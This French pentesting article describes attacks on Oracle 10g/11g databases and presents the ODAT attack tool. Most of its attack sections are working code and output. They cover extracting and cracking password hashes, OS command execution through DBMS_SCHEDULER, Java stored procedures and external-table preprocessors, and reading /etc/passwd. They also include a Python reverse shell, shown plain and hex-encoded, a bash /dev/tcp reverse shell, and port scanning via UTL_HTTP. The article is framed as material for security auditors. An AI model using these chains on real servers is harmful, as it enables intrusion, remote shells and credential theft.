Les bases de données sont un élément critique et complexe du système d'information, contenant souvent des données métier sensibles. De fait, un soin tout particulier doit être apporté à leur sécurisation. Il est également fondamental pour un pentesteur de connaître les angles d'attaque et vulnérabilités de ces systèmes. Cet article se concentre sur les versions 10g et 11g de la très populaire famille des bases de données Oracle. Il liste des grandes attaques possibles sur ces systèmes et présente l'outil ODAT (Oracle Database Attacking Tool) permettant d'automatiser ces attaques.
1. Introduction
Grâce à un audit de configuration, il est facile de récupérer les privilèges de l'ensemble des utilisateurs Oracle. Il est alors possible de détecter les privilèges à risques d'un utilisateur. Cependant, il existe un grand nombre de privilèges Oracle et de combinaisons de privilèges qui peuvent permettre à un utilisateur de réaliser certaines opérations. Nous pouvons citer l'utilisation de Java, l'utilisation du scheduler ou la lecture de fichiers avec la bibliothèque UTL_FILE. Cela rend laborieuse l'identification précise de certaines vulnérabilités exploitables par un attaquant. L'intérêt du test offensif est alors de pouvoir identifier précisément certains défauts de sécurité avérés sur une base de données Oracle.
Cet article présente dans une première partie quelques attaques possibles sur les bases de données Oracle 10g ou 11g afin qu'elles puissent être exploitées manuellement par un auditeur. Aucun exploit lié à une CVE n'est présenté dans cet article. L'objectif des attaques sera d'exploiter une simple connexion au serveur Oracle pour exécuter des opérations au niveau du serveur : exécution de code arbitraire, lecture / écriture de fichiers, connexion réseau. La seconde partie de l'article présente l'outil ODAT (Oracle Database Attacking Tool) permettant d'exploiter de manière automatisée à minima les attaques présentées dans la première partie de ce document.
2. Attaquer manuellement une BDD Oracle
2.1 Découvrir des SID et des comptes
Afin de se connecter à une BDD Oracle, il faut connaître un SID (oracle System ID) et un compte valide (nom d'utilisateur/mot de passe). Lors d'un audit, la première information utile à rechercher ou à récupérer est donc un SID.
Des SID valides d'un serveur Oracle peuvent être récupérés par le biais de 3 attaques différentes : l'attaque par dictionnaire, l'attaque par force brute et l'attaque par le biais des alias du listener (alias récupérables sans besoin d'être authentifié qui portent plus ou moins le même nom que les SID).
Après avoir trouvé un SID valide, il faut trouver au moins un compte valide pour se connecter à la base de données. Une attaque par dictionnaire peut être réalisée sur les couples nom d'utilisateur/mot de passe en utilisant une liste de comptes bien connus. Attention, une protection peut être mise en place face à ce type d'attaque permettant de bloquer un compte après un certain nombre de tentatives d'authentification échouées.
2.2 Élever ses privilèges
Connaissant un SID et un compte valide, il est alors possible de se connecter à une BDD. À ce stade, l'auditeur cherchera à élever ses privilèges afin de rebondir sur le système d'exploitation ou accéder à des informations sensibles.
2.2.1 Les hashs des utilisateurs Oracle
Certains utilisateurs privilégiés Oracle ont le droit de voir les hashs des mots de passe des autres utilisateurs.
Le tableau suivant récapitule les informations utiles liées aux mots de passe dans les différentes versions d'Oracle Database :
|
Oracle <= 10g |
Oracle >=11g |
Sensible à la casse |
Non |
Oui |
Table |
DBA_USERS |
SYS.USER$ |
Algorithme |
DES |
SHA1 |
Longueur du hash |
8 octets (16 caractères) |
20 octets (40 caractères) |
Sel / valeur / longueur |
Oui / nom d'utilisateur / indéfini |
Oui / aléatoire / 10 octets |
Voici par exemple le mot de passe haché de l'utilisateur OUTLN sous Oracle Database 10g et 11g :
SQL> select USERNAME, PASSWORD from DBA_USERS where USERNAME = 'OUTLN' /*Oracle 10g*/;
USERNAME PASSWORD
-----------------------------------------------
OUTLN 4A3BA55E08595C81
SQL> select NAME, PASSWORD, SPARE4 from SYS.USER$ where NAME='OUTLN' /*Oracle 11g*/;
NAME PASSWORD SPARE4
-------------------------------------------------------------------------------------------------------------
OUTLN 4A3BA55E08595C81 S:21CD173B851C524225B387E14D110CEDEEF8377E1623FD91A374CF86866E
Si nous arrivons à retrouver les hashs des autres utilisateurs, il est alors possible de réaliser une attaque par dictionnaire ou brute force sur les hashs avec un outil tel que john the ripper [JOHN] ou hashcat [HASHCAT]. Si nous retrouvons des comptes valides, il est alors possible que ces derniers aient plus de privilèges.
Dans la configuration par défaut d'Oracle Database 11g, il est important de noter que par défaut le hash DES (non sensible à la casse) est stocké à côté du hash SHA1 (sensible à la casse) dans la table SYS.USER$. Par conséquent, si nous voulons retrouver le mot de passe d'un utilisateur Oracle 11g, nous pourrions d'abord réaliser une attaque sur le hash DES (dictionnaire, brute force ou rainbow table), afin de réduire le nombre de tests. La base de connaissances utilisée devrait contenir soit que des caractères majuscules, soit que des caractères minuscules. Si nous retrouvons le mot de passe du hash DES, il suffit de faire varier la casse des caractères alphabétiques du mot de passe DES jusqu'à retrouver le mot de passe du hash SHA1 permettant de s'authentifier.
2.2.2 Exécution de commandes système via le DBMS_SCHEDULER
La bibliothèque DBMS_SCHEDULER d'Oracle met à disposition des fonctions et procédures qui peuvent être appelées via le PL/SQL afin d'ordonnancer des opérations. Cette bibliothèque peut être utilisée à mauvais escient par un utilisateur privilégié ayant le privilège CREATE EXTERNAL JOB (ex : SYS et SYSTEM) afin d'exécuter des commandes système sur le serveur hébergeant la base de données Oracle.
Par exemple, voici comment exécuter la commande ping sur le serveur :
-Création d'un travail permettant d'exécuter la commande ping (sous Linux) :
exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1226', job_type=>'EXECUTABLE', number_of_arguments=>3, job_action =>'/bin/ping', auto_drop=>FALSE);
-Ajout des arguments au travail :
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226', 1, '-c');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226', 2, '2');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226', 3, '192.168.56.1');
- Lancement du travail immédiatement :
exec DBMS_SCHEDULER.ENABLE('J1226');
-Visualisation des traces du travail :
SELECT log_id, log_date, job_name, status, error#, additional_info FROM dba_scheduler_job_run_details where job_name ='J1226';
Nous allons maintenant essayer d'obtenir un reverse shelldepuis le serveur de BDD vers la machine 192.168.56.1 (port 1234). Le script python suivant peut être utilisé :
import socket, subprocess, os; s=socket.socket( socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.56.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
Afin de pouvoir utiliser le script python précédent dans un travail de cette bibliothèque, il suffit d'encoder ce dernier:
qha@qhapc:~$ sqlplus64 test/******@192.168.56.101/ORCL
SQL*Plus: Release 11.2.0.3.0 Production on Thu Jan 9 17:59:39 2014
Copyright (c) 1982, 2011, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J98765', job_type=>'EXECUTABLE', number_of_arguments=>2, job_action =>'/usr/bin/python', auto_drop=>FALSE);
PL/SQL procedure successfully completed.
SQL> exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J98765', 1, '-c');
PL/SQL procedure successfully completed.
SQL> exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J98765', 2,'exec("696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223139322e3136382e35362e31222c3132333429293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b".decode("hex"))');
PL/SQL procedure successfully completed.
SQL> exec DBMS_SCHEDULER.ENABLE('J98765');
PL/SQL procedure successfully completed.
SQL> SELECT log_id, log_date, job_name, status, error#, additional_info FROM dba_scheduler_job_run_details where job_name ='J9875';
no rows selected
L'auditeur aura bien sûr auparavant lancé sur son poste un nc en écoute sur le port 1234 et se retrouve avec un shell distant sur le serveur :
qha@qhapc:~# nc -l 1234 -v
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [192.168.56.101] port 1234 [tcp/*] accepted (family 2, sport 64141)
sh: no job control in this shell
sh-3.2$ uname -a
Linux localhost.localdomain 2.6.18-194.17.1.0.1.el5 #1 SMP Wed Sep 29 15:40:03 EDT 2010 i686 i686 i386 GNU/Linux
2.2.3 Exécution de commandes système via JAVA
Il est possible d'utiliser JAVA dans Oracle Database afin d'exécuter des commandes système sur le serveur :
Pour cela, il faut :
- créer le code source Java :
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS
import java.io.*;
public class OSCommand {
public static String execACmd(String theCmdToExec) {
StringBuffer strBuff = new StringBuffer();
try {
String[] theCmd;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
String theWindSysRoot = System.getenv("SystemRoot");
theCmd = new String[4];
theCmd[0] = theWindSysRoot+"\\system32\\cmd.exe";
theCmd[1] = "/y";
theCmd[2] = "/c";
theCmd[3] = theCmdToExec;
} else {
theCmd = new String[3];
theCmd[0] = "/bin/sh";
theCmd[1] = "-c";
theCmd[2] = theCmdToExec;
}
final Process theProcess = Runtime.getRuntime().exec(theCmd);
BufferedReader bufferIn = null;
try {
bufferIn = new BufferedReader(new InputStreamReader(theProcess.getInputStream()));
String data = null;
while ((data = bufferIn.readLine()) != null) {
strBuff.append(data+"\\n");
try {Thread.sleep(100);} catch(Exception e) {}
}
bufferIn.close();
} catch (IOException ioe) {
System.out.println("Error printing output");
ioe.printStackTrace();
} finally {
try {
bufferIn.close();
} catch (Exception ex) {}
}
BufferedReader BufferError = null;
try {
BufferError = new BufferedReader(new InputStreamReader(theProcess.getErrorStream()));
String data = null;
while ((data = BufferError.readLine()) != null) {
strBuff.append("stderr:");
strBuff.append(data+"\\n");
try {Thread.sleep(100); } catch(Exception e) {}
}
BufferError.close();
} catch (IOException ioe) {
System.out.println("Error printing errors");
ioe.printStackTrace();
} finally {
try {
BufferError.close();
} catch (Exception ex) {}
}
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
return strBuff.toString();
}
};
/
- créer une fonction qui appelle le code Java :
CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.execACmd (java.lang.String) return java.lang.String';
/
- exécuter la commande voulue :
SELECT oscmd('/bin/ls -al') FROM dual;
Pour supprimer la fonction précédemment créée et le code source Java, les commandes suivantes peuvent être utilisées :
DROP FUNCTION oscmd;
DROP JAVA SOURCE "OSCommand";
Voici un exemple de sortie de la fonction PL/SQL oscmd permettant d'appeler le source Java et d'exécuter des commandes système :
SQL> SELECT oscmd('/bin/ls -al') FROM dual;
OSCMD('/BIN/LS-AL')
--------------------------------------------------------------------------------
total 36\ndrwxr-xr-x 2 oracle oracle 4096 Jan 9 08:59 .\ndrwxr-xr-x 70 oracle
oracle 4096 Feb 23 2011 ..\n-rw-rw---- 1 oracle oracle 1544 Oct 2 2010 hc_DB
UA0.dat\n-rw-rw---- 1 oracle oracle 1544 Jan 9 08:59 hc_orcl.dat\n-rw-r--r--
1 oracle oracle 2851 May 15 2009 init.ora\n-rw-r----- 1 oracle oracle 621 Oct
2 2010 initorcl.ora\n-rw-r----- 1 oracle oracle 24 Oct 2 2010 lkORCL\n-r
w-r----- 1 oracle oracle 1536 Oct 2 2010 orapworcl\n-rw-r----- 1 oracle orac
le 3584 Jan 9 08:59 spfileorcl.ora\n
2.2.4 Exécution de commandes système via les tables externes
Les tables externes permettent d’accéder à des ressources externes comme si ces ressources étaient des tables d'une BDD. Ces tables sont des fichiers plats stockés hors de la base qui sont interrogeables par la BDD de la même manière que les tables stockées en base. L'option PREPROCESSOR lors de la création d'une table externe permet de traiter des données avant qu’elles ne soient envoyées vers le pilote d'accès. Cette option peut être utilisée afin d'exécuter des commandes systèmes. Les tables externes donc peuvent être utilisées afin d'exécuter des commandes système sur le serveur.
Tout d'abord, un DIRECTORY doit pointer vers le répertoire où se trouve la commande ou le script que nous voulons exécuter sur le serveur :
CREATE OR REPLACE DIRECTORY dir_name AS '/tmp/';
GRANT READ,WRITE ON DIRECTORY dir_name TO PUBLIC;
La table externe doit être créée et le script my_script.sh à exécuter doit être spécifié avec l'option PREPROCESSOR:
CREATE TABLE tk
( line NUMBER
, text VARCHAR2(4000))
ORGANIZATION EXTERNAL
(
TYPE ORACLE_LOADER
DEFAULT DIRECTORY dir_name
ACCESS PARAMETERS
(
RECORDS DELIMITED BY NEWLINE
NOLOGFILE
PREPROCESSOR dir_name: 'my_script.sh'
FIELDS TERMINATED BY WHITESPACE
(
line RECNUM
, text POSITION(1:4000)
)
)
LOCATION ('my_script.sh')
)
REJECT LIMIT UNLIMITED;
/
L'exécution de la commande ou script peut être maintenant lancée :
SELECT * FROM tk;
La requête SQL retourne « no rows selected » lorsque la communication est terminée correctement ou un autre message s'il y a eu une erreur.
L'exemple suivant présent la méthode pour obtenir un reverse bash shell sur un serveur de BDD (sous linux) en utilisant le script reverse_shell.sh stocké dans le répertoire /tmp/ du serveur :
SQL> CREATE OR REPLACE DIRECTORY dir_name AS '/tmp/';
Directory created.
SQL> GRANT READ,WRITE ON DIRECTORY dir_name TO PUBLIC;
Grant succeeded.
SQL> CREATE TABLE tk
( line NUMBER
, text VARCHAR2(4000))
ORGANIZATION EXTERNAL
(
TYPE ORACLE_LOADER
DEFAULT DIRECTORY dir_name
ACCESS PARAMETERS
(
RECORDS DELIMITED BY NEWLINE
NOLOGFILE
PREPROCESSOR dir_name: 'reverse_shell.sh'
FIELDS TERMINATED BY WHITESPACE
(
line RECNUM
, text POSITION(1:4000)
)
)
LOCATION ('reverse_shell.sh')
)
REJECT LIMIT UNLIMITED;
/
Table created.
SQL> SELECT * FROM tk;
Voici le code bash contenu dans le fichier reverse_shell.sh :
[oracle@localhost tmp]$ cat reverse_shell.sh
#!/bin/bash
/bin/echo 1 > temp.txt
/usr/bin/nohup /bin/bash -i >& /dev/tcp/192.168.56.1/4321 0>&1 &
À noter qu'il n'est pas possible d'exécuter des commandes ou scripts avec arguments avec cette méthode et que le fichier contenant le code doit être préalablement rendu exécutable.
Afin de supprimer le DIRECTORY et la table créée, la commande suivante peut être utilisée :
DROP DIRECTORY dir_name;
DROP TABLE tk PURGE;
2.2.5 Lire/écrire des fichiers
2.2.5.1 UTL_FILE
Grâce à la bibliothèque UTL_FILE, il est possible de créer, supprimer et éditer des fichiers.
Avant toute opération sur un fichier, il faut tout d'abord avoir un DIRECTORY créé qui pointe vers le chemin où se situent les fichiers :
CREATE OR REPLACE DIRECTORY dir_name AS '/tmp/';
GRANT READ,WRITE ON DIRECTORY dir_name TO PUBLIC;
Un DIRECTORY est à utiliser à chaque opération sur un fichier.
Le code suivant permet d'afficher le contenu du fichier my_file.txt, au format hexadécimal, contenu dans le répertoire dir_name (/tmp/) :
set serveroutput on size 1000000;
DECLARE
l_fileID UTL_FILE.FILE_TYPE;
l_buffer VARCHAR2(32000);
hexdata VARCHAR2(32000);
BEGIN
l_fileID := UTL_FILE.FOPEN ('DIR_NAME', 'my_file.txt', 'r', 16000); LOOP
UTL_FILE.GET_LINE(l_fileID, l_buffer, 16000);
SELECT RAWTOHEX(l_buffer) into hexdata FROM dual;
dbms_output.put_line(hexdata);
END LOOP;
EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID);
NULL;
END;
/
Voici un autre exemple de code PL/SQL permettant de créer le fichier my_file.txt dans le répertoire dir_name (/tmp/) :
DECLARE
fi UTL_FILE.FILE_TYPE;
bu RAW(32766);
BEGIN
fi:=UTL_FILE.fopen('DIR_NAME','my_file.txt','wb',32766);
UTL_FILE.fclose(fi);
END;
/
DECLARE
fi UTL_FILE.FILE_TYPE;
bu RAW(32766);
BEGIN
bu:=hextoraw('68657861646563696d616c2064617461');
fi:=UTL_FILE.fopen('DIR_NAME','my_file.txt','ab',32766);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/
Afin de supprimer un fichier, la fonction FREMOVE peut être utilisée :
BEGIN
UTL_FILE.FREMOVE ('DIR_NAME', 'my_file.txt');
END;
/
DROP DIRECTORY dir_name ;
Lorsque le répertoire n'est plus utile, il peut être supprimé :
DROP DIRECTORY dir_name ;
Les méthodes présentées ci-dessus permettent de travailler sur des petits fichiers. Dans le cas où nous voudrions créer ou lire des gros fichiers, il faudrait s'y prendre à plusieurs fois en utilisant la procédure FSEEK.
2.2.5.2 CTXSYS & tables externes
La bibliothèque CTXSYS et les tables externes peuvent être utilisées pour lire des fichiers.
Afin de lire un fichier en utilisant les index et CTXSYS, les étapes suivantes devraient être respectées :
-Création d'une table :
CREATE TABLE my_table (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6));
-Insertion du nom du fichier dans la table :
INSERT INTO my_table VALUES (1, '/tmp/my_file.txt', NULL);
-Création de l'index vers le fichier :
CREATE INDEX my_index ON my_table (path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format');
-Lecture des données contenues dans le fichier :
SELECT token_text FROM dr$my_index$i;
Afin de supprimer l'index et la table, les commandes suivantes peuvent être utilisées :
DROP INDEX my_index;
DROP TABLE my_table PURGE;
Il est important de savoir que les mots contenus dans le fichier que nous voulons lire sont réorganisés par ordre alphabétique dans la sortie. De plus, les caractères spéciaux sont supprimés de la sortie. Si nous voulons lire le fichier /etc/passwd par exemple, voici une partie de ce qui va être affiché :
SQL> CREATE TABLE my_table (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6));
Table created.
SQL> INSERT INTO my_table VALUES (1, '/etc/passwd', NULL);
1 row created.
SQL> CREATE INDEX my_index ON my_table (path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format');
Index created.
SQL> SELECT token_text FROM dr$my_index$i;
TOKEN_TEXT
----------------------------------------------------------------
0
1
10
100
101
11
12
13
14
2
28
[...]
TOKEN_TEXT
----------------------------------------------------------------
VBOXADD
VCSA
VIRTUAL
WWW
X
X11
XFS
117 rows selected.
L'avantage d'utiliser cette méthode est que nous n'avons pas besoin d'utiliser un DIRECTORY pour lire un fichier.
Les tables externes peuvent être aussi utilisées afin de lire des fichiers.
Pour pouvoir lire un fichier, il faut tout d'abord avoir un DIRECTORY qui pointe vers le répertoire contenant le fichier que l'on veut lire :
CREATE OR REPLACE DIRECTORY dir_name AS '/tmp/';
GRANT READ,WRITE ON DIRECTORY dir_name TO PUBLIC;
Ensuite, il faut créer une table externe :
CREATE TABLE table_ext
( line NUMBER
, text VARCHAR2(4000))
ORGANIZATION EXTERNAL
(
TYPE ORACLE_LOADER
DEFAULT DIRECTORY dir_name
ACCESS PARAMETERS
(
RECORDS DELIMITED BY NEWLINE
NOLOGFILE
FIELDS TERMINATED BY WHITESPACE
(
line RECNUM
, text POSITION(1:4000)
)
)
LOCATION ('')
)
REJECT LIMIT UNLIMITED;
/
Il faut ajouter le nom du fichier que nous voulons lire dans la table précédemment créée :
ALTER TABLE table_ext LOCATION ('my_file.txt');
Grâce à la table externe, il est possible de lire le fichier /tmp/my_file.txt :
select line from table_ext;
Lorsque la lecture est terminée, la table externe et le répertoire devraient être supprimés :
DROP TABLE table_ext PURGE;
DROP DIRECTORY dir_name;
Voici par exemple comment lire le contenu du fichier /etc/passwd du serveur grâce à une table externe :
SQL> CREATE OR REPLACE DIRECTORY dir_name AS '/etc/';
Directory created.
SQL> GRANT READ,WRITE ON DIRECTORY dir_name TO PUBLIC;
Grant succeeded.
SQL> CREATE TABLE table_ext
( line NUMBER
, text VARCHAR2(4000))
ORGANIZATION EXTERNAL
(
TYPE ORACLE_LOADER
DEFAULT DIRECTORY dir_name
ACCESS PARAMETERS
(
RECORDS DELIMITED BY NEWLINE
NOLOGFILE
FIELDS TERMINATED BY WHITESPACE
(
line RECNUM
, text POSITION(1:4000)
)
)
LOCATION ('')
)
REJECT LIMIT UNLIMITED;
/
Table created.
SQL> ALTER TABLE table_ext LOCATION ('passwd');
Table altered.
SQL> select TEXT from table_ext;
TEXT
---------------------------------------------
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
apache:x:48:48:Apache:/var/www:/sbin/nologin
dm:x:502:502::/home/dm:/bin/bash
38 rows selected.
2.2.5.3 Dbms_XslProcessor & Dbms_Advisor
Avant de pouvoir utiliser la bibliothèque Dbms_XslProcessor et Dbms_Advisor afin d'écrire des fichiers sur le serveur, un DIRECTORY doit pointer vers le répertoire du fichier à créer :
CREATE OR REPLACE DIRECTORY dir_name AS '/tmp/';
Ensuite, il est possible d'utiliser la fonction clob2file de la bibliothèque Dbms_XslProcessor afin de créer le fichier my_file.txt dans le répertoire /tmp/ :
dbms_xslprocessor.clob2file ('data','dir_name','my_file.txt');
Il est aussi possible d'utiliser la fonction create_file de la bibliothèque Dbms_Advisor afin de créer le fichier my_file.txtdans le répertoire /tmp/ :
dbms_advisor.create_file ('data','dir_name','my_file.txt');
Lorsque les fichiers sont créés, le répertoire de travail peut être supprimé :
DROP DIRECTORY dir_name;
2.2.6 Ouvrir des sockets réseau
2.2.6.1 UTL_HTTP
Grâce à la bibliothèque UTL_HTTP, nous pouvons ouvrir une socket, ce qui peut permettre par exemple:
-d'envoyer des requêtes HTTP. Ceci peut-être intéressant dans le cas où des restrictions réseau seraient mises en place au niveau de l'auditeur, mais pas au niveau de la BDD. Par exemple, une BDD Oracle pourrait être utilisée par l'auditeur afin de communiquer avec un service HTTP accessible uniquement en localhost sur le serveur ;
-de réaliser des scans TCP. Puisque la bibliothèque UTL_HTTP permet d'envoyer des requêtes HTTP, elle peut être utilisée afin de réaliser des scans de ports (localhost ou distant) ;
Voici un exemple simple d'utilisation de UTL_HTTP permettant d'envoyer une requête GET :
SELECT utl_http.request('google.com') AS data FROM dual;
Cette commande peut être utilisée afin de réaliser des scans de port en faisant varier le port HTTP de destination :
SQL> SELECT utl_http.request('http://127.0.0.1:22') AS data FROM dual;
SELECT utl_http.request('http://127.0.0.1:22') AS data FROM dual
*
ERROR at line 1:
ORA-29273: HTTP request failed
ORA-06512: at "SYS.UTL_HTTP", line 1722
ORA-29263: HTTP protocol error
ORA-06512: at line 1
SQL> SELECT utl_http.request('http://127.0.0.1:80') AS data FROM dual;
DATA
---------------------------------------------------------------------
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML>
<HEAD>
[…]
SQL> SELECT utl_http.request('http://127.0.0.1:1234') AS data FROM dual;
SELECT utl_http.request('http://127.0.0.1:1234') AS data FROM dual
*
ERROR at line 1:
ORA-29273: HTTP request failed
ORA-06512: at "SYS.UTL_HTTP", line 1722
ORA-12541: TNS:no listener
ORA-06512: at line 1
En s'appuyant sur les retours d'erreur de la capture ci-dessus, un attaquant peut en déduire que les ports 22 (probablement SSH) et 80 (serveur Web) sont ouverts en localhost, mais que le port 1234 est fermé.
Le code PL/SQL suivant est un exemple d'utilisation de cette bibliothèque UTL_HTTP afin d'envoyer une requête HTTP POST :
DECLARE
req utl_http.req;
res utl_http.resp;
buffer varchar2(4000);
BEGIN
req := utl_http.begin_request('http://my_site.com:8080/my_page.html', 'POST','HTTP /1.1');
utl_http.set_header(req, 'my_hear','my_value');
utl_http.write_text(req, 'post_data') ;
res := utl_http.get_response(req);
BEGIN LOOP
utl_http.read_line(res, buffer);
dbms_output.put_line(buffer);
END LOOP;
utl_http.end_response(res);
EXCEPTION
when utl_http.end_of_body
then utl_http.end_response(res);
END;
END;
/
2.2.6.2 HTTPUriType & UTL_TCP
Les bibliothèques HTTPUriType et UTL_TCP peuvent elles aussi être utilisées afin d'envoyer des requêtes HTTP et réaliser des scans de ports. Il est à noter que HTTPUriType est beaucoup plus limité que UTL_HTTP ; par exemple, elle ne permet pas d'envoyer des requêtes POST.
La commande suivante peut être utilisée afin d'envoyer une requête GET avec HTTPUriType :
SELECT httpuritype('http://my_site.com').getclob() FROM dual ;
Elle peut être utilisée aussi afin de réaliser des scans de ports si nous faisons varier le port de destination.
Le code PL/SQL suivant est un exemple d'utilisation de UTL_TCP permettant d'envoyer des données au serveur 10.10.10.10 en écoute sur le port 1234 :
DECLARE
c utl_tcp.connection;
ret_val pls_integer;
bu RAW(32766);
BEGIN
c := utl_tcp.open_connection('10.10.10.10',1234);
bu:=hextoraw('474554202f20485454502f312e30');
ret_val := utl_tcp.write_raw(c, bu);
ret_val := utl_tcp.write_line(c);
BEGIN LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION WHEN
utl_tcp.end_of_input THEN NULL;
END;
utl_tcp.close_connection(c);
END;
/
3 ODAT (Oracle Attacking Tool)
3.1 Présentation générale
ODAT (Oracle Attacking Tool) est un outil offensif permettant de tester la sécurité d'une base de données Oracle 10g ou 11g avec ou sans compte. Cet outil implémente l'ensemble des attaques qui ont été présentées dans cet article. Cependant, il n'intègre pas pour l'instant d'exploits liés à des CVE.
L'outil [ODAT] est codé en python 2.7 et fonctionne sous Linux. Il utilise la bibliothèque cx_Oracle [CX_ORACLE] qui permet d’accéder aux bases de données Oracle. L'outil est accessible en version développement, mais il existe aussi une version standalone permettant d'utiliser l'outil seul sans avoir besoin d'installer Python.
3.2 Fonctionnalités de l'outil
Grâce à ODAT, il est possible d'exploiter l'ensemble des attaques que nous avons présenté au début de ce document en un minimum de temps. Voici un schéma récapitulatif des possibilités de cet outil face à une base de données Oracle 10g-11g :
Fig. 1
Afin d'exécuter des commandes système sur le serveur, 3 modules s'offrent à nous: java, dbmsscheduler et externaltable.
Dans un premier temps, l'outil détecte si les attaques implémentées peuvent être exploitées sur la BDD choisie. Pour cela, ODAT se base sur les erreurs retournées par la base lorsqu'il « simule » une attaque. Ensuite, si l'auditeur le souhaite, il peut exploiter la vulnérabilité qu'il a choisie.
3.3 Exemples d'utilisation
Au minimum, l'outil a besoin d'une adresse IP et d'un port pour fonctionner. Dans cette configuration, l'outil va commencer par chercher des SID. S'il trouve des SID, il va rechercher des comptes autorisés à se connecter sur chaque instance du serveur de BDD, c'est-à-dire sur chaque SID trouvé. S'il trouve des comptes valides sur des instances, ODAT utilise alors chaque compte autorisé afin de se connecter à une instance. L'outil recherche alors des vulnérabilités à exploiter dans la BDD pour chaque compte de chaque instance.
Voici l'exemple le plus simple d'utilisation de l'outil testant le listener en écoute sur le port 1521 du serveur 192.168.56.101.
Fig. 2
Dans cet exemple, nous voyons que le mot de passe de l'utilisateur DBSNP est trivial. Cet utilisateur n'a pas beaucoup de privilèges, mais il peut accéder aux hashs des autres utilisateurs.
L'exemple suivant montre comment utiliser un module spécifique tel que passwordstealer qui permet de récupérer les hashs des utilisateurs Oracle :
Fig. 3
Ayant les hashs des mots de passe de tous les utilisateurs Oracle, il est possible de retrouver facilement des mots de passe.
Dans notre exemple, nous pouvons retrouver facilement le mot de passe de l'utilisateur « SYS » puisqu'il est trivial. Ayant un compte valide, il peut être intéressant de lister ce qu'il est possible de faire avec ce compte. Pour cela, le module all peut être utilisé en spécifiant le nom et le mot de passe de l'utilisateur Oracle :
Fig.4
Dans notre cas, l'utilisateur peut réaliser toutes les attaques permises par ODAT. Rien d'étonnant, l'utilisateur SYS est SYSDBA.
Grâce à ce compte privilégié, il est possible d'exécuter des commandes système sur le serveur. On pourra par exemple utiliser le module dbmsscheduler afin d'acquérir un reverse tcp shell :
Fig. 5
Conclusion
Nous avons pu voir un certain nombre d'attaques sur les bases de données Oracle 10g et 11g peuvent permettre à une personne malveillante d'exécuter des commandes système sur le serveur et d'acquérir un shell, de lire/écrire des fichiers, de communiquer avec n'importe quel service HTTP ou de scanner les ports d'une machine. Lors d'un audit de sécurité, tester l'ensemble de ces attaques manuellement n'est pas trivial dans un temps restreint. L'outil ODAT a donc été développé afin d'automatiser les tests sur ce type de base pour identifier et exploiter les vulnérabilités facilement. L'auditeur peut décider ou non d'exploiter une vulnérabilité pour savoir si une vulnérabilité est présente. ODAT n'est pas obligé d'exploiter complètement cette vulnérabilité.
Cet outil est voué à évoluer et à intégrer progressivement les exploits des CVE identifiés sur les bases de données Oracle supérieures ou égales à 10g.
Références
[JOHN] http://www.openwall.com/john/
[HASHCAT] http://hashcat.net/hashcat/
[CX_ORACLE] http://cx-oracle.sourceforge.net/
[ODAT] https://github.com/quentinhardy/odat